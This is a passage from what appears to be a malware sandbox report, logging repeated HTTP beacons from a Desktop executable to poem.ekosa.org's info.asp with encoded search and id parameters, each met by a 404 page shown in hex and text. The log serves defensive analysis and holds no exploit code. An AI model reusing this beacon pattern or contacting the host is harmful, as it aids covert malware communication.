72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.4	49891	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:03.140552998 CET	5102	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:03.401673079 CET	5102	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.4	49892	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:03.778249979 CET	5103	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:04.039577007 CET	5103	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.4	49893	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:04.324325085 CET	5104	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:04.596781015 CET	5105	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.4	49894	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:04.903841972 CET	5105	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:05.165811062 CET	5106	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:05 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.4	49895	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:05.547864914 CET	5106	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:05.808041096 CET	5107	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:05 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.4	49896	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:06.080524921 CET	5108	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:06.344393969 CET	5108	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:06 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.4	49897	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:06.617607117 CET	5109	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:06.878498077 CET	5110	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:06 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49774	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:03.585913897 CET	260	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:03.857309103 CET	266	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.4	49898	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:07.283341885 CET	5110	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:07.555593967 CET	5111	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.4	49899	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:07.835458040 CET	5111	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:08.106828928 CET	5112	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.4	49900	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:08.374381065 CET	5113	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:08.637886047 CET	5113	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:08 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 